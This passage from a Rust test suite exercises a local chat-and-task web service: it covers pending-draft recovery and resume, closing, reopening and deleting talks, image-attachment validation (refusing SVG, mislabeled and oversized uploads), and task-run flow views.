16000                    .expect("publication fence after disconnect")
16001                    .is_none()
16002            );
16003
16004            // Only now let the gated write proceed. It persists the draft
16005            // and reclaims the now-free slot from inside the task the busy
16006            // branch already spawned - unaffected by the handler's abort
16007            // above, since that task was independent of the handler's own
16008            // future from the moment it was spawned.
16009            let _ = release_tx.send(());
16010            drop(
16011                tokio::time::timeout(Duration::from_secs(5), closing)
16012                    .await
16013                    .expect("short admission transaction should release for replacement"),
16014            );
16015            assert!(
16016                crate::chat_worker::try_publication_guard(&talks, &id)
16017                    .expect("publication fence after acknowledgement")
16018                    .is_some(),
16019                "the publication fence is not retained by the long response"
16020            );
16021
16022            // A settled talk: the draft drained into an operator turn and
16023            // answered.
16024            let mut fresh = talks.get(&id).expect("reload talk");
16025            for _ in 0..SETTLE_STEPS {
16026                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16027                    break;
16028                }
16029                tokio::time::sleep(Duration::from_millis(10)).await;
16030                fresh = talks.get(&id).expect("reload talk");
16031            }
16032            assert!(
16033                fresh.pending.is_empty() && fresh.turns.len() == 2,
16034                "attempt {attempt}: talk {id} left the operator's text queued \
16035                 with no drainer - the reclaimed turn was dropped along with \
16036                 the handler future (pending {:?}, {} turns)",
16037                fresh.pending,
16038                fresh.turns.len()
16039            );
16040        }
16041    }
16042
16043    #[tokio::test]
16044    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16045        let (_tmp, _repo, f) = talk_fixture().await;
16046        let id = f.post("/api/talks", None).await.json()["id"]
16047            .as_str()
16048            .expect("id")
16049            .to_owned();
16050        let store = f.talks();
16051        let mut recovered = store.get(&id).expect("opened talk");
16052        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16053            .expect("persist pending draft without a live turn");
16054
16055        let edited = f
16056            .post(
16057                &format!("/api/talks/{id}/pending/edit"),
16058                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16059            )
16060            .await;
16061        assert_eq!(edited.status, 200, "{}", edited.body);
16062        assert!(edited.json()["thinking"].as_bool().unwrap());
16063
16064        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16065        for _ in 0..SETTLE_STEPS {
16066            if detail["turns"].as_array().expect("turns").len() == 2 {
16067                break;
16068            }
16069            tokio::time::sleep(Duration::from_millis(10)).await;
16070            detail = f.get(&format!("/api/talks/{id}")).await.json();
16071        }
16072        let turns = detail["turns"].as_array().expect("turns");
16073        assert_eq!(
16074            turns.len(),
16075            2,
16076            "the recovered draft must run once: {detail}"
16077        );
16078        assert_eq!(turns[0]["body"], "corrected");
16079        assert_eq!(detail["pending"], "");
16080    }
16081
16082    #[tokio::test]
16083    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16084        let tmp = TempDir::new().expect("tempdir");
16085        let repo = tmp.path().join("repo");
16086        std::fs::create_dir_all(&repo).expect("repo dir");
16087        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16088        let f = Fixture::with_repo(repo).await;
16089        let id = f.post("/api/talks", None).await.json()["id"]
16090            .as_str()
16091            .expect("id")
16092            .to_owned();
16093        let store = f.talks();
16094        let mut recovered = store.get(&id).expect("opened talk");
16095        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16096            .expect("persist pending draft without a live turn");
16097
16098        let refused = f
16099            .post(
16100                &format!("/api/talks/{id}/say"),
16101                Some(r#"{"text":"new message"}"#),
16102            )
16103            .await;
16104        assert_eq!(refused.status, 409, "{}", refused.body);
16105        assert!(refused.body.contains("resume"), "{}", refused.body);
16106        let saved = store.get(&id).expect("draft remains after refusal");
16107        assert!(saved.turns.is_empty());
16108        assert_eq!(saved.pending, "saved before restart");
16109
16110        let say_path = format!("/api/talks/{id}/say");
16111        let (first, second) = tokio::join!(
16112            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16113            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16114        );
16115        assert_eq!(first.status, 409, "{}", first.body);
16116        assert_eq!(second.status, 409, "{}", second.body);
16117        let saved = store
16118            .get(&id)
16119            .expect("draft remains after concurrent refusals");
16120        assert!(saved.turns.is_empty());
16121        assert_eq!(saved.pending, "saved before restart");
16122
16123        let resumed = f
16124            .post(&format!("/api/talks/{id}/pending/resume"), None)
16125            .await;
16126        assert_eq!(resumed.status, 202, "{}", resumed.body);
16127        let duplicate = f
16128            .post(&format!("/api/talks/{id}/pending/resume"), None)
16129            .await;
16130        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16131
16132        for _ in 0..SETTLE_STEPS {
16133            if store.get(&id).expect("talk").turns.len() == 2 {
16134                break;
16135            }
16136            tokio::time::sleep(Duration::from_millis(10)).await;
16137        }
16138        let finished = store.get(&id).expect("finished talk");
16139        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16140        assert_eq!(finished.turns[0].body, "saved before restart");
16141        assert!(finished.pending.is_empty());
16142    }
16143
16144    #[tokio::test]
16145    async fn an_image_only_recovered_draft_resumes_without_text() {
16146        let (_tmp, _repo, f) = talk_fixture().await;
16147        let id = f.post("/api/talks", None).await.json()["id"]
16148            .as_str()
16149            .expect("id")
16150            .to_owned();
16151        let uploaded = f
16152            .post_bytes(
16153                &format!("/api/talks/{id}/attachments"),
16154                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
16155                PNG_BYTES,
16156            )
16157            .await;
16158        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16159        let attachment = f
16160            .talks()
16161            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
16162            .expect("attachment metadata")
16163            .expect("stored attachment");
16164        let store = f.talks();
16165        let mut recovered = store.get(&id).expect("opened talk");
16166        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
16167
16168        let resumed = f
16169            .post(&format!("/api/talks/{id}/pending/resume"), None)
16170            .await;
16171        assert_eq!(resumed.status, 202, "{}", resumed.body);
16172        for _ in 0..SETTLE_STEPS {
16173            if store.get(&id).expect("talk").turns.len() == 2 {
16174                break;
16175            }
16176            tokio::time::sleep(Duration::from_millis(10)).await;
16177        }
16178        let finished = store.get(&id).expect("finished talk");
16179        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16180        assert!(finished.turns[0].body.is_empty());
16181        assert_eq!(finished.turns[0].attachments.len(), 1);
16182        assert!(finished.pending_attachments.is_empty());
16183    }
16184
16185    #[tokio::test]
16186    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
16187        let (_tmp, _repo, f) = talk_fixture().await;
16188        let id = f.post("/api/talks", None).await.json()["id"]
16189            .as_str()
16190            .expect("id")
16191            .to_owned();
16192        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16193        assert_eq!(closed.status, 200, "{}", closed.body);
16194        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16195            .expect("serialize closed talk");
16196        for (path, body) in [
16197            (format!("/api/talks/{id}/pending/resume"), None),
16198            (
16199                format!("/api/talks/{id}/pending/clear"),
16200                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
16201            ),
16202            (
16203                format!("/api/talks/{id}/pending/edit"),
16204                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
16205            ),
16206            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
16207        ] {
16208            let response = f.post(&path, body).await;
16209            assert_eq!(response.status, 409, "{}", response.body);
16210        }
16211        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16212            .expect("serialize closed talk");
16213        assert_eq!(
16214            after_clear, before_clear,
16215            "clear must not rewrite a closed talk"
16216        );
16217    }
16218
16219    /// Keeps both claims observable long enough to exercise the distinction
16220    /// between one busy talk and a globally locked Chat surface.
16221    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
16222
16223    #[tokio::test]
16224    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
16225        let tmp = TempDir::new().expect("tempdir");
16226        let repo = tmp.path().join("repo");
16227        std::fs::create_dir_all(&repo).expect("repo dir");
16228        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16229        let f = Fixture::with_repo(repo).await;
16230        let id_a = f.post("/api/talks", None).await.json()["id"]
16231            .as_str()
16232            .unwrap()
16233            .to_owned();
16234        let id_b = f.post("/api/talks", None).await.json()["id"]
16235            .as_str()
16236            .unwrap()
16237            .to_owned();
16238
16239        let a = f
16240            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
16241            .await;
16242        assert_eq!(a.status, 202, "{}", a.body);
16243        assert_eq!(a.json()["thinking"], true);
16244        let b = f
16245            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
16246            .await;
16247        assert_eq!(b.status, 202, "{}", b.body);
16248        assert_eq!(b.json()["thinking"], true);
16249
16250        let listed = f.get("/api/talks").await.json();
16251        for id in [&id_a, &id_b] {
16252            let view = listed
16253                .as_array()
16254                .unwrap()
16255                .iter()
16256                .find(|talk| talk["id"] == *id)
16257                .unwrap();
16258            assert_eq!(view["thinking"], true, "{listed}");
16259        }
16260        let repeated = f
16261            .post(
16262                &format!("/api/talks/{id_a}/say"),
16263                Some(r#"{"text":"again"}"#),
16264            )
16265            .await;
16266        assert_eq!(repeated.status, 202, "{}", repeated.body);
16267        assert_eq!(repeated.json()["pending"], "again");
16268    }
16269
16270    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
16271    /// few more, since real uploads are never exactly eight bytes.
16272    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
16273
16274    #[tokio::test]
16275    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
16276        let f = Fixture::start().await;
16277        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
16278
16279        let res = f
16280            .post_bytes(
16281                &format!("/api/talks/{id}/attachments"),
16282                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16283                PNG_BYTES,
16284            )
16285            .await;
16286        assert_eq!(res.status, 201, "{}", res.body);
16287        let body = res.json();
16288        assert_eq!(body["name"], "shot.png");
16289        assert_eq!(body["mime"], "image/png");
16290        assert_eq!(body["bytes"], PNG_BYTES.len());
16291        let att_id = body["id"].as_str().expect("id").to_owned();
16292        assert_eq!(
16293            att_id.len(),
16294            32,
16295            "the id must never be a client-suppliable path: {att_id}"
16296        );
16297
16298        let got = f
16299            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
16300            .await;
16301        assert_eq!(got.status, 200, "{}", got.body);
16302        assert_eq!(got.header("content-type"), Some("image/png"));
16303        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
16304        assert_eq!(got.bytes, PNG_BYTES);
16305    }
16306
16307    #[tokio::test]
16308    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
16309        let f = Fixture::start().await;
16310        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
16311
16312        // SVG can carry a `<script>`, so it is never on the whitelist even
16313        // though it is a real IANA image type.
16314        let svg = f
16315            .post_bytes(
16316                &format!("/api/talks/{id}/attachments"),
16317                &[("Content-Type", "image/svg+xml")],
16318                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
16319            )
16320            .await;
16321        assert!(
16322            (400..500).contains(&svg.status),
16323            "svg must be refused: {} {}",
16324            svg.status,
16325            svg.body
16326        );
16327        assert!(svg.body.contains("SVG"), "{}", svg.body);
16328
16329        let text = f
16330            .post_bytes(
16331                &format!("/api/talks/{id}/attachments"),
16332                &[("Content-Type", "text/plain")],
16333                b"just some text",
16334            )
16335            .await;
16336        assert!(
16337            (400..500).contains(&text.status),
16338            "an unlisted type must be refused: {} {}",
16339            text.status,
16340            text.body
16341        );
16342
16343        // The declared type is a real png, but the size check runs before
16344        // the bytes are even looked at.
16345        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
16346        let big = f
16347            .post_bytes(
16348                &format!("/api/talks/{id}/attachments"),
16349                &[("Content-Type", "image/png")],
16350                &oversized,
16351            )
16352            .await;
16353        assert_eq!(
16354            big.status,
16355            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
16356            "{}",
16357            big.body
16358        );
16359    }
16360
16361    #[tokio::test]
16362    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
16363        let f = Fixture::start().await;
16364        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
16365
16366        // A whitelisted `Content-Type`, but bytes that are not actually a
16367        // png - the declared header alone is never trusted.
16368        let res = f
16369            .post_bytes(
16370                &format!("/api/talks/{id}/attachments"),
16371                &[("Content-Type", "image/png")],
16372                b"<html>not a picture</html>",
16373            )
16374            .await;
16375        assert!((400..500).contains(&res.status), "{}", res.body);
16376    }
16377
16378    #[tokio::test]
16379    async fn an_unknown_attachment_id_is_a_404() {
16380        let f = Fixture::start().await;
16381        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
16382
16383        let res = f
16384            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
16385            .await;
16386        assert_eq!(res.status, 404, "{}", res.body);
16387    }
16388
16389    #[tokio::test]
16390    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
16391        let f = Fixture::start().await;
16392        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
16393
16394        let uploaded = f
16395            .post_bytes(
16396                &format!("/api/talks/{id}/attachments"),
16397                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16398                PNG_BYTES,
16399            )
16400            .await;
16401        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16402        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
16403
16404        let res = f
16405            .post(
16406                &format!("/api/talks/{id}/say"),
16407                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
16408            )
16409            .await;
16410        assert_eq!(res.status, 202, "{}", res.body);
16411        let queued = res.json();
16412        let turns = queued["turns"].as_array().expect("turns array");
16413        assert_eq!(
16414            turns.len(),
16415            1,
16416            "an empty body with an attachment is still a turn: {queued}"
16417        );
16418        assert_eq!(turns[0]["who"], "operator");
16419        assert_eq!(turns[0]["body"], "");
16420        let atts = turns[0]["attachments"]
16421            .as_array()
16422            .expect("attachments array");
16423        assert_eq!(atts.len(), 1);
16424        assert_eq!(atts[0]["id"], att_id);
16425        assert_eq!(atts[0]["mime"], "image/png");
16426
16427        // Not only in the response: `record` flushes to disk before the
16428        // agent's own turn is even spawned.
16429        let on_disk = f.talks().get(&id).expect("get");
16430        assert_eq!(on_disk.turns[0].attachments.len(), 1);
16431        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16432    }
16433
16434    #[tokio::test]
16435    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16436        let f = Fixture::start().await;
16437        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16438
16439        let res = f
16440            .post(
16441                &format!("/api/talks/{id}/say"),
16442                Some(&format!(
16443                    r#"{{"text":"hi","attachments":["{}"]}}"#,
16444                    "a".repeat(32)
16445                )),
16446            )
16447            .await;
16448        assert!((400..500).contains(&res.status), "{}", res.body);
16449        assert!(res.body.contains("unknown attachment"), "{}", res.body);
16450
16451        let on_disk = f.talks().get(&id).expect("get");
16452        assert!(
16453            on_disk.turns.is_empty(),
16454            "a rejected attachment id must not partially record the turn: {:?}",
16455            on_disk.turns
16456        );
16457    }
16458
16459    #[tokio::test]
16460    async fn talk_close_makes_the_talk_refuse_further_turns() {
16461        let f = Fixture::start().await;
16462        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16463
16464        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16465        assert_eq!(closed.status, 200, "{}", closed.body);
16466        assert_eq!(closed.json()["status"], "closed");
16467
16468        // Idempotent: closing an already-closed talk is not an error.
16469        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16470        assert_eq!(closed_again.status, 200);
16471        assert_eq!(closed_again.json()["status"], "closed");
16472
16473        let said = f
16474            .post(
16475                &format!("/api/talks/{id}/say"),
16476                Some(r#"{"text":"too late"}"#),
16477            )
16478            .await;
16479        assert_eq!(said.status, 409, "{}", said.body);
16480    }
16481
16482    #[tokio::test]
16483    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
16484        let (_tmp, _repo, f) = talk_fixture().await;
16485        let id = f.post("/api/talks", None).await.json()["id"]
16486            .as_str()
16487            .expect("id")
16488            .to_owned();
16489        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16490        assert_eq!(closed.status, 200, "{}", closed.body);
16491
16492        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16493        assert_eq!(reopened.status, 200, "{}", reopened.body);
16494        assert_eq!(reopened.json()["status"], "open");
16495
16496        // Idempotent: reopening an already-open talk is not an error.
16497        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16498        assert_eq!(reopened_again.status, 200);
16499        assert_eq!(reopened_again.json()["status"], "open");
16500
16501        let said = f
16502            .post(
16503                &format!("/api/talks/{id}/say"),
16504                Some(r#"{"text":"still there?"}"#),
16505            )
16506            .await;
16507        assert_eq!(
16508            said.status, 202,
16509            "a reopened talk accepts turns again: {}",
16510            said.body
16511        );
16512    }
16513
16514    #[tokio::test]
16515    async fn talk_reopen_on_an_unknown_id_is_404() {
16516        let f = Fixture::start().await;
16517        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
16518        assert_eq!(res.status, 404, "{}", res.body);
16519    }
16520
16521    #[tokio::test]
16522    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
16523        let f = Fixture::start().await;
16524        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
16525
16526        let deleted = f.delete(&format!("/api/talks/{id}")).await;
16527        assert_eq!(deleted.status, 204, "{}", deleted.body);
16528
16529        let after = f.get(&format!("/api/talks/{id}")).await;
16530        assert_eq!(after.status, 404, "{}", after.body);
16531
16532        let listed = f.get("/api/talks").await.json();
16533        assert!(
16534            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
16535            "a deleted talk must not linger in the list: {listed}"
16536        );
16537    }
16538
16539    #[tokio::test]
16540    async fn talk_delete_on_an_unknown_id_is_404() {
16541        let f = Fixture::start().await;
16542        let res = f.delete("/api/talks/nonexistent-id").await;
16543        assert_eq!(res.status, 404, "{}", res.body);
16544    }
16545
16546    /// A task's page lists every run it ever had, in order, and says what kind
16547    /// of attempt each was - including a resume, which re-pushes the same run
16548    /// id, and a run whose record this build cannot read.
16549    #[tokio::test]
16550    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
16551        let f = Fixture::start().await;
16552        let (a, b, gone) = (
16553            "20260902-140501-aaaa",
16554            "20260902-140502-bbbb",
16555            "20260902-140503-cccc",
16556        );
16557        write_run(&f.runs(), a, RunStatus::Stalled);
16558        let mut review = RunState::new(
16559            PathBuf::from("/repo/magi"),
16560            "main".to_owned(),
16561            "0123456789abcdef".to_owned(),
16562            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
16563                .to_owned(),
16564            Config::default(),
16565        );
16566        review.id = b.to_owned();
16567        review.status = RunStatus::Merged;
16568        write_state(&f.runs(), &review);
16569
16570        let mut task = Task::new(
16571            "retry".to_owned(),
16572            "Do the thing".to_owned(),
16573            PathBuf::from("/repo/magi"),
16574            Source::Human,
16575        );
16576        task.start(a.to_owned());
16577        task.stall("quota");
16578        task.start(a.to_owned());
16579        task.start(b.to_owned());
16580        task.start(gone.to_owned());
16581        // This fixture models an older queue file with repeated run entries.
16582        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16583        f.queue().put(&mut task).expect("file the task");
16584
16585        let res = f.get(&format!("/api/queue/{}", task.id)).await;
16586        assert_eq!(res.status, 200, "{}", res.body);
16587        let v = res.json();
16588        let h = v["history"].as_array().expect("history");
16589        assert_eq!(h.len(), 4, "{v}");
16590        assert_eq!(h[0]["kind"], "competition");
16591        assert_eq!(h[0]["status"], "stalled");
16592        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16593        assert_eq!(h[1]["kind"], "resume", "{v}");
16594        assert!(
16595            h[0]["outcome"]
16596                .as_str()
16597                .unwrap()
16598                .contains("unknown. Pass #2"),
16599            "an earlier pass of a resumed run must not claim the final outcome: {v}"
16600        );
16601        assert!(
16602            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16603            "{v}"
16604        );
16605        assert!(
16606            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16607            "an unrecorded cause must not be narrated as an operator park: {v}"
16608        );
16609        assert_eq!(h[2]["kind"], "review");
16610        assert!(
16611            h[2]["description"]
16612                .as_str()
16613                .unwrap()
16614                .contains("magi/aaaa/A")
16615        );
16616        assert_eq!(h[2]["status"], "merged");
16617        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16618        assert_eq!(v["runs_unreadable"], 1);
16619        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16620        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16621        assert_eq!(nodes[4]["note"], "unreadable");
16622        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16623        assert_eq!(v["instruction"], "Do the thing");
16624        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16625
16626        // The run's own page links back to the task.
16627        let run = f.get(&format!("/api/runs/{a}")).await.json();
16628        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16629
16630        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16631    }
16632
16633    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16634        let mut s = RunState::new(
16635            PathBuf::from("/repo/magi"),
16636            "main".to_owned(),
16637            "0123456789abcdef".to_owned(),
16638            "Do it".to_owned(),
16639            Config::default(),
16640        );
16641        s.status = status;
16642        edit(&mut s);
16643        s
16644    }
16645
16646    fn flow_task(runs: &[&str]) -> Task {
16647        let mut t = Task::new(
16648            "t".to_owned(),
16649            "Do it".to_owned(),
16650            PathBuf::from("/repo/magi"),
16651            Source::Human,
16652        );
16653        for r in runs {
16654            t.start((*r).to_owned());
16655        }
16656        // Synthetic flows without RunPass records model legacy queue data.
16657        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16658        t
16659    }
16660
16661    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
16662        let h = task_history(task, |id| {
16663            states
16664                .iter()
16665                .find(|(i, _)| *i == id)
16666                .and_then(|(_, s)| s.clone())
16667        });
16668        task_flow(task, &h, 5, None)
16669    }
16670
16671    #[test]
16672    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
16673        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
16674        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16675        let first = "2026-10-10T02:00:00Z".parse().unwrap();
16676        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
16677        let held = "2026-10-10T04:00:00Z".parse().unwrap();
16678        let run = flow_run(RunStatus::Implementing, |s| {
16679            s.created_at = created;
16680            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
16681            s.passes[0].started_at = first;
16682            s.passes[1].started_at = resumed;
16683        });
16684        let mut task = flow_task(&[RUN_X, RUN_X]);
16685        task.created_at = queued;
16686        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
16687        task.status = TaskStatus::Held;
16688        task.held_at = Some(held);
16689        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
16690        assert_eq!(
16691            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
16692            vec![Some(queued), Some(first), Some(resumed), Some(held)]
16693        );
16694        assert!(flow.nodes.iter().all(|n| n.time_expected));
16695        let json = serde_json::to_value(&flow).unwrap();
16696        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
16697        assert_eq!(json["nodes"][2]["time_expected"], true);
16698    }
16699
16700    #[test]
16701    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
16702        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16703        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
16704        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
16705        // These timestamps are not the start of the current status.
16706        task.held_at = Some(created);
16707        task.blocked_at = Some(created);
16708        for status in [
16709            TaskStatus::Queued,
16710            TaskStatus::Running,
16711            TaskStatus::Blocked,
16712            TaskStatus::Done,
16713            TaskStatus::Failed,
16714            TaskStatus::Parked,
16715            TaskStatus::Held,
16716        ] {
16717            task.status = status;
16718            if status == TaskStatus::Held {
16719                task.held_at = None;
16720            }
16721            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
16722            assert_eq!(flow.nodes[1].started_at, Some(created));
16723            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
16724            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
16725            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
16726            let json = serde_json::to_value(&flow).unwrap();
16727            assert!(json["nodes"][3]["started_at"].is_null());
16728            assert_eq!(json["nodes"][3]["time_expected"], true);
16729        }
16730    }
16731
16732    #[test]
16733    fn flow_context_links_do_not_expect_start_times() {
16734        let mut task = flow_task(&[]);
16735        task.source = Source::Agent {
16736            run: "chat-id".to_owned(),
16737            node: "chat".to_owned(),
16738        };
16739        let origin = followup_origin(&fu(None), |_| None, |_| None);
16740        let flow = task_flow(&task, &[], 5, Some(&origin));
16741        for node in &flow.nodes[..2] {
16742            assert!(!node.time_expected);
16743            assert_eq!(node.started_at, None);
16744        }
16745        assert!(flow.nodes[2].time_expected);
16746    }
16747
16748    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
16749        crate::queue::FollowUp {
16750            run: "20260901-000000-aaaa".to_owned(),
16751            origin_task: origin_task.map(str::to_owned),
16752            pr: "https://example.com/o/r/pull/1".to_owned(),
16753            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
16754                .map(str::to_owned)
16755                .to_vec(),
16756            generation: 1,
16757        }
16758    }
16759
16760    fn parent_task() -> Task {
16761        let mut p = flow_task(&[]);
16762        p.title = "Parent title".to_owned();
16763        p.status = TaskStatus::Done;
16764        p
16765    }
16766
16767    #[test]
16768    fn flow_opens_with_the_parent_task_of_a_followup() {
16769        let p = parent_task();
16770        let pid = p.id.clone();
16771        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
16772        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16773        let n = &f.nodes[0];
16774        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
16775        assert_eq!(
16776            n.label,
16777            format!("Follow-up of {}", crate::queue::short(&pid))
16778        );
16779        assert_eq!(n.detail.as_deref(), Some("Parent title"));
16780        assert_eq!(n.status, Some("done"));
16781        assert_eq!(n.status_of, "task");
16782        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
16783        assert_eq!(f.nodes[1].key, "start");
16784        assert_eq!(f.edges[0].from, "origin");
16785        assert_eq!(
16786            f.edges[0].label,
16787            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
16788        );
16789    }
16790
16791    #[test]
16792    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
16793        let o = followup_origin(
16794            &fu(Some("gone")),
16795            |_| None,
16796            |_| {
16797                Some(RunState::new(
16798                    std::path::PathBuf::from("."),
16799                    "main".to_owned(),
16800                    "0".to_owned(),
16801                    "t".to_owned(),
16802                    crate::config::Config::default(),
16803                ))
16804            },
16805        );
16806        assert!(o.parent.is_none());
16807        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16808        let n = &f.nodes[0];
16809        assert_eq!(n.status_of, "run");
16810        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
16811        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
16812    }
16813
16814    #[test]
16815    fn flow_followup_with_nothing_readable_has_no_link() {
16816        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
16817        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16818        let n = &f.nodes[0];
16819        assert_eq!(n.href, None);
16820        assert_eq!(n.note, Some("unreadable"));
16821        assert!(!n.readable);
16822    }
16823
16824    #[test]
16825    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
16826        let o = followup_origin(&fu(None), |_| None, |_| None);
16827        let mut t = flow_task(&[]);
16828        t.origin_chat = Some("c1".to_owned());
16829        let f = task_flow(&t, &[], 5, Some(&o));
16830        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
16831        t.source = Source::Agent {
16832            run: "c1".to_owned(),
16833            node: crate::queue::CHAT_NODE.to_owned(),
16834        };
16835        let f = task_flow(&t, &[], 5, Some(&o));
16836        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
16837        assert_eq!(
16838            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
16839            ("chat", "origin")
16840        );
16841    }
16842
16843    #[test]
16844    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
16845        let mut p = parent_task();
16846        p.id = "a b/c".to_owned();
16847        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
16848        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
16849    }
16850
16851    #[test]
16852    fn flow_opens_with_the_chat_that_queued_the_task() {
16853        let mut t = flow_task(&[]);
16854        t.source = Source::Agent {
16855            run: "a b/c".to_owned(),
